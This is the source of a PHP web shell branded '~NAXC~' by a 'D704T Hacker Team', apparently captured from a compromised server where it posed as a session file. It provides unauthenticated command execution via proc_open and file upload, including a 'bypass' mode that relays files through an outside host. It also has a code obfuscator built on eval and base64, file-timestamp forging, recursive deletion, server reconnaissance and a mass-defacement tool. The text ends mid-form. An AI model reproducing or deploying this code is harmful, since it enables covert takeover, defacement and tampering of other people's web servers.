MAINHACK

Viewing / Editing File: sess_5171fcbf42bcab65758aae7e9218e28b.php

<?php
session_start();
ob_start();
date_default_timezone_set('Asia/Jakarta');

$path = (isset($_GET["path"])) ? $_GET["path"] : getcwd();
$file = (isset($_GET["file"])) ? $_GET["file"] : "";
$page = isset($_GET['page']) ? max(1, intval($_GET['page'])) : 1;
$toPage = (isset($_GET['page']) ? '&page=' . intval($_GET['page']) : '');
$search = isset($_GET['search']) ? strtolower(trim($_GET['search'])) : '';
$web = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://" . $_SERVER['HTTP_HOST'];
$os = php_uname('s');
$separator = ($os === 'Windows') ? "\\" : "/";
$explode = explode($separator, $path);

if (!function_exists("execute")) {
    function execute($cmd, $location)
    {
        $ler = "2>&1";
        if (!preg_match("/" . $ler . "/i", $cmd)) {
            $cmd = $cmd . " " . $ler;
        }
        $komen = $cmd;
        $pr = "proc_open";
        if (function_exists($pr)) {
            $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $location);
            return true;
        } else {
            return false;
        }
    }
}

function deleteFolder($dir)
{
    if (!is_dir($dir)) {
        return false;
    }

// Scan all files and folders inside
    $items = array_diff(scandir($dir), ['.', '..']);

foreach ($items as $item) {
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            deleteFolder($path); // recursive delete
        } else {
            unlink($path); // delete file
        }
    }

return rmdir($dir); // finally remove the folder itself
}

function requests($url, $post = null)
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

if ($post) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$response = curl_exec($ch);
    $error = curl_error($ch);
    curl_close($ch);

if ($error) {
        return false;
    }

return $response;
}

function file_editor($path, $file, $content, $method)
{
    $fileloc = $path . "/" . $file;
    $renamed = str_replace(".temporary", "", $file);

unlink($path . "/" . $file);
    touch($fileloc);

if ($method === 'basic') {
        if (error_log($content, 3, $fileloc)) {
            rename($fileloc, $path . "/" . $renamed);
            return true;
        }
    } else {
        if (execute("echo " . base64_encode($content) . " | base64 -d > '$renamed'", $path)) {
            return true;
        }
    }

return false;
}

function php_obfuscator(string $code): string
{
    if (preg_match('/^\s*<\?=\s*/i', $code)) {
        $code = preg_replace('/^\s*<\?=\s*/i', '<?php ', $code);
    }

$code = preg_replace('/^\s*<\?(php)?|\?>\s*$/i', '', $code);

$encoded = base64_encode(gzdeflate($code, 9));

$obfuscated = '';
    for ($i = 0, $l = strlen($encoded); $i < $l; $i++) {
        if (rand(0, 3) === 0) {
            $obfuscated .= '\\x' . dechex(ord($encoded[$i]));
        } else {
            $obfuscated .= $encoded[$i];
        }
    }

$var = '$naxc' . substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'), 0, 8);

return <<<PHP
$var = "$obfuscated";
eval(gzinflate(base64_decode($var)));
exit;
PHP;
}

function filedate($file)
{
    return @date("F d Y g:i:s", @filemtime($file));
}

function chdate($itemPath, $newDate)
{
    $timestamp = strtotime($newDate);
    if ($timestamp === false || !touch($itemPath, $timestamp)) {
        return false;
    }

return true;
}

function isZip($file)
{
    $zipSignature = "\x50\x4B\x03\x04";
    $handle = fopen($file, 'rb');
    if ($handle) {
        $fileSignature = fread($handle, 4);
        fclose($handle);
        return $fileSignature === $zipSignature;
    }
    return false;
}

function flash($type, $msg, $refreshTo = null, $goto = null)
{
    global $path, $toPage;

$refreshTo = (is_null($refreshTo)) ? $path . $toPage : $refreshTo;

$_SESSION["$type"] = "$msg";

if ($goto) {
        $_SESSION["goto"] = [
            "location" => "$goto",
            "text" => "VIEW"
        ];
    }

header("Refresh:0; url=?path=" . $refreshTo);
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="author" content="D704T Hacker Team">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="robots" content="noindex, nofollow" />
    <meta name="googlebot" content="noindex">
    <title>~NAXC~</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <script>
        tailwind.config = {
            darkMode: 'class'
        }
    </script>

<?php
    if (isset($_SESSION["success"])) {
    ?>
        <div id="toast-default" class="fixed top-0 right-0 z-10 w-full max-w-xs p-4 text-gray-500 bg-white rounded-lg shadow-sm dark:text-gray-400 dark:bg-gray-800" role="alert">
            <div class="flex items-center">
                <div class="inline-flex items-center justify-center shrink-0 w-8 h-8 text-green-500 bg-green-100 rounded-lg dark:bg-green-300 dark:text-green-200">
                    <svg class="w-6 h-6 text-green-600 dark:text-green-700" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm13.707-1.293a1 1 0 0 0-1.414-1.414L11 12.586l-1.793-1.793a1 1 0 0 0-1.414 1.414l2.5 2.5a1 1 0 0 0 1.414 0l4-4Z" clip-rule="evenodd" />
                    </svg>
                </div>
                <div class="ms-3 text-sm font-normal"><?= $_SESSION["success"]; ?></div>
                <button type="button" class="ms-auto -mx-1.5 -my-1.5 bg-white text-gray-400 hover:text-gray-900 rounded-lg focus:ring-2 focus:ring-gray-300 p-1.5 hover:bg-gray-100 inline-flex items-center justify-center h-8 w-8 dark:text-gray-500 dark:hover:text-white dark:bg-gray-800 dark:hover:bg-gray-700" data-dismiss-target="#toast-default" aria-label="Close">
                    <span class="sr-only">Close</span>
                    <svg class="w-3 h-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 14 14">
                        <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 6 6m0 0 6 6M7 7l6-6M7 7l-6 6" />
                    </svg>
                </button>
            </div>

<?php if (isset($_SESSION["goto"])): ?>
                <div class="mt-3 text-center">
                    <a class="inline-block text-blue-700 hover:text-white border border-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg px-3 py-2 text-xs dark:border-blue-500 dark:text-blue-500 dark:hover:text-white dark:hover:bg-blue-500 dark:focus:ring-blue-800"
                        href="<?= ($_SESSION["goto"]["location"]); ?>">
                        <?= ($_SESSION["goto"]["text"]); ?>
                    </a>
                </div>
            <?php endif;
            unset($_SESSION["goto"]); ?>
        </div>

<?php
        unset($_SESSION["success"]);
    }

if (isset($_SESSION["error"])) {
    ?>
        <div id="toast-default" class="fixed top-0 right-0 z-10 flex items-center w-full max-w-xs p-4 text-gray-500 bg-white rounded-lg shadow-sm dark:text-gray-400 dark:bg-gray-800" role="alert">
            <div class="inline-flex items-center justify-center shrink-0 w-8 h-8 text-red-500 bg-red-100 rounded-lg dark:bg-red-300 dark:text-red-200">
                <svg class="w-6 h-6 text-red-800 dark:text-red-700" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                    <path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm7.707-3.707a1 1 0 0 0-1.414 1.414L10.586 12l-2.293 2.293a1 1 0 1 0 1.414 1.414L12 13.414l2.293 2.293a1 1 0 0 0 1.414-1.414L13.414 12l2.293-2.293a1 1 0 0 0-1.414-1.414L12 10.586 9.707 8.293Z" clip-rule="evenodd" />
                </svg>
            </div>
            <div class="ms-3 text-sm font-normal"><?= $_SESSION["error"]; ?></div>
            <button type="button" class="ms-auto -mx-1.5 -my-1.5 bg-white text-gray-400 hover:text-gray-900 rounded-lg focus:ring-2 focus:ring-gray-300 p-1.5 hover:bg-gray-100 inline-flex items-center justify-center h-8 w-8 dark:text-gray-500 dark:hover:text-white dark:bg-gray-800 dark:hover:bg-gray-700" data-dismiss-target="#toast-default" aria-label="Close">
                <span class="sr-only">Close</span>
                <svg class="w-3 h-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 14 14">
                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="m1 1 6 6m0 0 6 6M7 7l6-6M7 7l-6 6" />
                </svg>
            </button>
        </div>
    <?php
        unset($_SESSION["success"]);
    }
    ?>

<div id="authentication-modal" tabindex="-1" aria-hidden="true" class="hidden overflow-y-auto overflow-x-hidden fixed top-0 right-0 left-0 z-50 justify-center items-center w-full md:inset-0 h-[calc(100%-1rem)] max-h-full">
        <div class="relative p-4 w-full max-w-md max-h-full">
            
            <div class="relative bg-white rounded-lg shadow-sm dark:bg-gray-700">
                
                <div class="p-4 md:p-5">

<form method="get" class="max-w-md mx-auto">
                        <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>">
                        <label for="default-search" class="mb-2 text-sm font-medium text-gray-900 sr-only dark:text-white">Search</label>
                        <div class="relative">
                            <div class="absolute inset-y-0 start-0 flex items-center ps-3 pointer-events-none">
                                <svg class="w-4 h-4 text-gray-500 dark:text-gray-400" aria-hidden="true"
                                    xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 20 20">
                                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                                        d="m19 19-4-4m0-7A7 7 0 1 1 1 8a7 7 0 0 1 14 0Z" />
                                </svg>
                            </div>
                            <input type="search" id="default-search" name="search"
                                class="block w-full p-4 ps-10 text-sm text-gray-900 border border-gray-300 rounded-lg bg-gray-50 
                   focus:ring-blue-500 focus:border-blue-500 
                   dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white 
                   dark:focus:ring-blue-500 dark:focus:border-blue-500"
                                placeholder="Search files or folders..." value="<?= htmlspecialchars(isset($_GET['search']) ? $_GET['search'] : '') ?>" autofocus>
                            <button type="submit"
                                class="text-white absolute end-2.5 bottom-2.5 bg-blue-700 hover:bg-blue-800 
                   focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-4 py-2 
                   dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800">
                                Search
                            </button>
                        </div>
                    </form>
                </div>
            </div>
        </div>
    </div>

<div class="container mx-auto p-4">
        <div data-dial-init class="fixed bottom-5 right-5 z-10 group">
            <div id="speed-dial-menu-default" class="flex flex-col items-center hidden mb-4 space-y-2">
                <button type="button" data-modal-target="authentication-modal" data-modal-toggle="authentication-modal" data-tooltip-target="tooltip-search" data-tooltip-placement="left" class="flex justify-center items-center w-[52px] h-[52px] text-gray-500 hover:text-gray-900 bg-white rounded-full border border-gray-200 dark:border-gray-600 shadow-xs dark:hover:text-white dark:text-gray-400 hover:bg-gray-50 dark:bg-gray-700 dark:hover:bg-gray-600 focus:ring-4 focus:ring-gray-300 focus:outline-none dark:focus:ring-gray-400">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="none" viewBox="0 0 24 24">
                        <path stroke="currentColor" stroke-linecap="round" stroke-width="2" d="m21 21-3.5-3.5M17 10a7 7 0 1 1-14 0 7 7 0 0 1 14 0Z" />
                    </svg>
                    <span class="sr-only">Search</span>
                </button>
                <div id="tooltip-search" role="tooltip" class="absolute z-10 invisible inline-block w-auto px-3 py-2 text-sm font-medium text-white transition-opacity duration-300 bg-gray-900 rounded-lg shadow-xs opacity-0 tooltip dark:bg-gray-700">
                    Search
                    <div class="tooltip-arrow" data-popper-arrow></div>
                </div>
                <a href="?path=<?= $path; ?>&action=infomin<?= $toPage ?>" data-tooltip-target="tooltip-information" data-tooltip-placement="left" class="flex justify-center items-center w-[52px] h-[52px] text-gray-500 hover:text-gray-900 bg-white rounded-full border border-gray-200 dark:border-gray-600 dark:hover:text-white shadow-xs dark:text-gray-400 hover:bg-gray-50 dark:bg-gray-700 dark:hover:bg-gray-600 focus:ring-4 focus:ring-gray-300 focus:outline-none dark:focus:ring-gray-400">
                    <svg class="w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm9.408-5.5a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2h-.01ZM10 10a1 1 0 1 0 0 2h1v3h-1a1 1 0 1 0 0 2h4a1 1 0 1 0 0-2h-1v-4a1 1 0 0 0-1-1h-2Z" clip-rule="evenodd" />
                    </svg>
                    <span class="sr-only">Information</span>
                </a>
                <div id="tooltip-information" role="tooltip" class="absolute z-10 invisible inline-block w-auto px-3 py-2 text-sm font-medium text-white transition-opacity duration-300 bg-gray-900 rounded-lg shadow-xs opacity-0 tooltip dark:bg-gray-700">
                    Information
                    <div class="tooltip-arrow" data-popper-arrow></div>
                </div>
                <button type="button" id="theme-toggle" data-tooltip-target="tooltip-mode" data-tooltip-placement="left" class="flex justify-center items-center w-[52px] h-[52px] text-gray-500 hover:text-gray-900 bg-white rounded-full border border-gray-200 dark:border-gray-600 shadow-xs dark:hover:text-white dark:text-gray-400 hover:bg-gray-50 dark:bg-gray-700 dark:hover:bg-gray-600 focus:ring-4 focus:ring-gray-300 focus:outline-none dark:focus:ring-gray-400">
                    <svg id="theme-toggle-light-icon" class="hidden w-6 h-6 text-gray-800 dark:text-white" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" d="M13 3a1 1 0 1 0-2 0v2a1 1 0 1 0 2 0V3ZM6.343 4.929A1 1 0 0 0 4.93 6.343l1.414 1.414a1 1 0 0 0 1.414-1.414L6.343 4.929Zm12.728 1.414a1 1 0 0 0-1.414-1.414l-1.414 1.414a1 1 0 0 0 1.414 1.414l1.414-1.414ZM12 7a5 5 0 1 0 0 10 5 5 0 0 0 0-10Zm-9 4a1 1 0 1 0 0 2h2a1 1 0 1 0 0-2H3Zm16 0a1 1 0 1 0 0 2h2a1 1 0 1 0 0-2h-2ZM7.757 17.657a1 1 0 1 0-1.414-1.414l-1.414 1.414a1 1 0 1 0 1.414 1.414l1.414-1.414Zm9.9-1.414a1 1 0 0 0-1.414 1.414l1.414 1.414a1 1 0 0 0 1.414-1.414l-1.414-1.414ZM13 19a1 1 0 1 0-2 0v2a1 1 0 1 0 2 0v-2Z" clip-rule="evenodd" />
                    </svg>

<div class="flex content-center items-center flex-col md:flex-row">
            <a href="<?php echo basename($_SERVER['PHP_SELF']); ?>"><img src="https://fcalpha.net/web/photo/20151024/300px-D704T.jpg" class="h-[150px] rounded-full w-auto mt-2"></a>
            <form class="min-[460px]:flex-row md:ms-auto max-w-xl mt-4" method="post" enctype="multipart/form-data">
                <div class="flex content-center flex-col gap-2 mb-4">
                    <input class="file:cursor-pointer dark:file:bg-gray-600 file:h-full file:px-4 file:py-2 file:mr-4 file:border-none dark:file:text-gray-300 file:hover:opacity-75 text-sm block w-full text-sm text-gray-900 border border-gray-300 rounded-lg cursor-pointer bg-gray-50 dark:text-gray-400 focus:outline-none dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400" type="file" name="nax[]" multiple>
                    <select id="upmethod" name="upmethod" class="block w-full py-[9px] px-2 text-sm text-gray-900 border border-gray-300 rounded-lg bg-gray-50 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required>
                        <option value="basic_upload" selected>Basic upload method</option>
                        <option value="bypass_upload">Bypass upload method</option>
                    </select>
                </div>
                <div class="flex flex-row items-center justify-between gap-2">
                    <div>
                        <button data-tooltip-target="tooltip-animation" type="button" class="flex gap-1 items-center text-blue-800 text-sm text-center dark:text-blue-400">
                            <svg class="w-6 h-6 text-blue-800 dark:text-blue-400" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="24" height="24" fill="currentColor" viewBox="0 0 24 24">
                                <path fill-rule="evenodd" d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm9.408-5.5a1 1 0 1 0 0 2h.01a1 1 0 1 0 0-2h-.01ZM10 10a1 1 0 1 0 0 2h1v3h-1a1 1 0 1 0 0 2h4a1 1 0 1 0 0-2h-1v-4a1 1 0 0 0-1-1h-2Z" clip-rule="evenodd" />
                            </svg><span>Tips!</span>
                        </button>

<div id="tooltip-animation" role="tooltip" class="absolute z-10 invisible inline-block px-3 py-2 text-sm font-medium text-white transition-opacity duration-300 bg-gray-900 rounded-lg shadow-xs opacity-0 tooltip dark:bg-gray-700">
                            If you encounter an error (by firewall) while uploading using both methods,<br>try changing extension of the file before uploading it and rename it right after.<br><br><span class="italic text-sm">This uploader supports multiple file upload.<span>
                                    <div class="tooltip-arrow" data-popper-arrow></div>
                        </div>
                    </div>
                    <div>
                        <button class="block px-3 py-2 text-sm font-medium text-center text-white bg-blue-700 rounded-lg hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="upload">
                            Submit
                        </button>
                    </div>
                </div>
            </form>

<?php
            if (isset($_POST["upload"])) {
                $total_files = count($_FILES["nax"]["name"]) - 1;
                foreach ($_FILES["nax"]["name"] as $key => $value) {
                    $filename = basename($_FILES["nax"]["name"][$key]);
                    $tempname = $_FILES["nax"]["tmp_name"][$key];
                    $upmethod = $_POST["upmethod"];

if ($upmethod === "basic_upload") {

$dest = $path . "/" . $filename;
                        $target = rtrim($path, '/\\') . '/' . basename($_FILES['nax']['name'][$key]);
                        if (touch($dest) && @move_uploaded_file($_FILES['nax']['tmp_name'][$key], $target)) {
                            if ($key == $total_files) {
                                flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage);
                            }
                        } else {
                            flash("error", "Upload failed!", $path . $toPage);
                        }
                    } else {
                        $remote_upload_url = "https://fcalpha.net/web/photo/20151024/temp/upload.php";
                        $postfields = ["nax" => new CURLFile($tempname, $_FILES["nax"]["type"][$key], $filename)];
                        $remote_upload = requests($remote_upload_url, $postfields);

if ($remote_upload) {
                            $uniqFile = json_decode($remote_upload, true)["file"];
                            $remote_url = "https://fcalpha.net/web/photo/20151024/temp/uploads/" . $uniqFile;

if (requests($remote_url, null, $path . "/" . $filename) && file_exists($path . "/" . $filename) && filesize($path . "/" . $filename) > 0) {
                                if ($key == $total_files) {
                                    flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage);
                                }
                            } else {
                                $file_content = base64_encode(requests($remote_url));

if (execute('echo "' . $file_content . '" | base64 -d > ' . $filename, $path)) {
                                    if ($key == $total_files) {
                                        flash("success", ($total_files + 1) . " File(s) uploaded successfully!", $path . $toPage);
                                    }
                                }
                            }
                        } else {
                            flash("error", "Upload failed!", $path . $toPage);
                        }

$delete_file = "https://fcalpha.net/web/photo/20151024/temp/delete.php";
                        requests($delete_file, [
                            "file" => $uniqFile
                        ]);
                    }
                }
            }
            ?>
        </div>

<nav class="flex p-4 my-10 overflow-auto text-gray-700 rounded-lg bg-gray-50 shadow-md dark:bg-gray-700" aria-label="Breadcrumb">
            <ol class="inline-flex items-center space-x-1 md:space-x-2 rtl:space-x-reverse">
                <?php
                if (isset($_GET["file"]) && !isset($_GET["path"])) {
                    $path = dirname($_GET["file"]);
                }
                $path = str_replace("\\", "/", $path);

$paths = explode("/", $path);
                echo (!preg_match("/Windows/", $os)) ? "<li class='inline-flex items-center'><a class='text-gray-500 dark:text-gray-400 hover:text-gray-600 dark:hover:text-gray-500' id='dir' href='?path=/'><strong>~</strong></a></li>" : "";
                $icon = "<svg class='w-6 h-6 text-gray-400 rtl:rotate-180' fill='currentColor' viewBox='0 0 20 20' xmlns='http://www.w3.org/2000/svg'><path fill-rule='evenodd' d='M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z' clip-rule='evenodd'></path></svg>";

foreach ($paths as $id => $pat) {
                    if ($pat === "") {
                        continue;
                    }
                    echo "<li class='inline-flex items-center'>
                    " . (($id != 0) ? $icon : '') . "
                    <a class='ml-1 md:ml-2 text-gray-500 dark:text-gray-400 hover:text-gray-600 dark:hover:text-gray-500' href='?path=";
                    for ($i = 0; $i <= $id; $i++) {
                        echo $paths[$i];
                        if ($i != $id) {
                            echo "/";
                        }
                    }
                    echo "'><strong>$pat</strong></a></li>";
                }
                ?>
            </ol>
        </nav>

<?php
        if (isset($_GET["action"]) && $_GET["action"] === "infomin") {
            $curl = (!preg_match('/not recognized|command not found/i', execute('curl --version', $path)))
                ? 'CURL (YES), ' : 'CURL (NO), ';
            $wget = (!preg_match('/not recognized|command not found/i', execute('wget --help', $path)))
                ? 'WGET (YES), ' : 'WGET (NO), ';
            $python = (!preg_match('/not recognized|command not found/i', execute('python --version', $path)) ||
                !preg_match('/not recognized|command not found/i', execute('python3 --version', $path)))
                ? 'PYTHON (YES), ' : 'PYTHON (NO), ';
            $perl = (!preg_match('/not recognized|command not found/i', execute('perl --help', $path)))
                ? 'PERL (YES), ' : 'PERL (NO), ';
            $gcc = (!preg_match('/not recognized|command not found/i', execute('gcc --help', $path)))
                ? 'GCC (YES), ' : 'GCC (NO), ';
            $ruby = (!preg_match('/not recognized|command not found/i', execute('ruby --help', $path)))
                ? 'RUBY (YES), ' : 'RUBY (NO), ';
            $pkexec = (!preg_match('/not recognized|command not found/i', execute('pkexec --version', $path)))
                ? 'PKEXEC (YES), ' : 'PKEXEC (NO), ';

?>
            <div class="bg-gray-50 shadow-md dark:bg-gray-700 p-4 rounded-lg">
                <h2 class="text-lg font-semibold mb-2">System Information</h2>
                <ul class="list-disc list-inside overflow-auto">
                    <li><strong>Server IP:</strong> <?= ipserv(); ?></li>
                    <li><strong>Server Software:</strong> <?= ($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : 'N/A'; ?></li>
                    <li><strong>PHP Version:</strong> <?= phpversion(); ?></li>
                    <li><strong>Current User:</strong> <?= get_current_user(); ?></li>
                    <li><strong>Operating System:</strong> <?= php_uname(); ?></li>
                    <li><strong>Document Root:</strong> <?= ($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : 'N/A'; ?></li>
                    <li><strong>Server Port:</strong> <?= ($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : 'N/A'; ?></li>
                    <li><strong>Server Admin:</strong> <?= ($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : 'N/A'; ?></li>
                    <li><strong>Command Line:</strong> <?= $curl . $wget . $python . $perl . $ruby . $gcc . $pkexec; ?></li>
                    <li><strong>Loaded PHP Modules:</strong> <?= implode(", ", get_loaded_extensions()); ?></li>
                </ul>
            </div>
        <?php
        }

/* TOOLS */
        if (isset($_GET["action"]) && $_GET["action"] === "command") {
        ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <label for="coman" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">Command:</label>
                    <input type="text" id="coman" name="coman" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?php echo (isset($_POST["coman"])) ? htmlspecialchars($_POST["coman"]) : ""; ?>" required>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="execute">
                        Execute
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["execute"])) {
                $coman = $_POST["coman"];
                if (empty($coman)) {
                    echo "<font color='red'>Command is empty</font>";
                } else {

echo "<font color='green'>Command: " . htmlspecialchars($coman) . "</font><br>";

$ler = "2>&1";
                    if (!preg_match("/" . $ler . "/i", $coman)) {
                        $coman = $coman . " " . $ler;
                    }
                    $komen = $coman;
                    $pr = "proc_open";
                    if (function_exists($pr)) {
                        $tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $path);
                        echo "<pre><textarea rows='25' style='color:lime;' readonly='' class=' block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500'>
    " . htmlspecialchars(stream_get_contents($crottz[1])) . "</textarea></pre><br>";
                    } else {
                        echo "<font color='orange'>proc_open function is disabled!!</font>";
                    }
                }
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "massdeface") {
            if (isset($_POST["massdeface"])) {
                if ($_POST['mass_type'] == 'mahal') {
                    echo '<div class="block p-2.5 w-full max-h-[300px] overflow-y-auto text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white focus:outline-none" readonly>';
                    sabun_massal($path, $_POST['file_name'], $_POST['file_content']);
                    echo "</div>";
                } elseif ($_POST['mass_type'] == 'murah') {
                    echo '<div class="block p-2.5 w-full max-h-[300px] overflow-y-auto text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white focus:outline-none" readonly>';
                    sabun_biasa($path, $_POST['file_name'], $_POST['file_content']);
                    echo "</div>";
                }
            } else {
            ?>
                <form action="" method="post">
                    <ul class="grid w-full gap-6 md:grid-cols-2 mb-4">
                        <li>
                            <input type="radio" id="mass-def-1" name="mass_type" value="murah" class="hidden peer" required checked />
                            <label for="mass-def-1" class="inline-flex items-center justify-between w-full p-5 text-gray-500 bg-white border border-gray-200 rounded-lg cursor-pointer dark:hover:text-gray-300 dark:border-gray-700 dark:peer-checked:text-blue-500 peer-checked:border-blue-600 dark:peer-checked:border-blue-600 peer-checked:text-blue-600 hover:text-gray-600 hover:bg-gray-100 dark:text-gray-400 dark:bg-gray-800 dark:hover:bg-gray-700">
                                <div class="block">
                                    <div class="w-full text-lg font-semibold">BASIC</div>
                                    <div class="w-full">Mass upload to currently shown folders</div>
                                </div>
                                <svg class="w-5 h-5 ms-3 rtl:rotate-180" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 14 10">
                                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M1 5h12m0 0L9 1m4 4L9 9" />
                                </svg>
                            </label>
                        </li>
                        <li>
                            <input type="radio" id="mass-def-2" name="mass_type" value="mahal" class="hidden peer">
                            <label for="mass-def-2" class="inline-flex items-center justify-between w-full p-5 text-gray-500 bg-white border border-gray-200 rounded-lg cursor-pointer dark:hover:text-gray-300 dark:border-gray-700 dark:peer-checked:text-blue-500 peer-checked:border-blue-600 dark:peer-checked:border-blue-600 peer-checked:text-blue-600 hover:text-gray-600 hover:bg-gray-100 dark:text-gray-400 dark:bg-gray-800 dark:hover:bg-gray-700">
                                <div class="block">
                                    <div class="w-full text-lg font-semibold">MASS</div>
                                    <div class="w-full">Mass upload to all folders exists</div>
                                </div>
                                <svg class="w-5 h-5 ms-3 rtl:rotate-180" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 14 10">
                                    <path stroke="currentColor" stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M1 5h12m0 0L9 1m4 4L9 9" />
                                </svg>
                            </label>
                        </li>
                    </ul>

<div class="mb-4">
                        <label for="file_content" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">File Content:</label>
                        <textarea id="file_content" name="file_content" rows="12" class="block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" placeholder="<h1>Hacked by ...</h1>" required></textarea>
                    </div>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="massdeface">
                        Execute
                    </button>
                </form>
            <?php
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "b64decode") {
            ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <label for="b64decode" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">Base64 Encoded:</label>
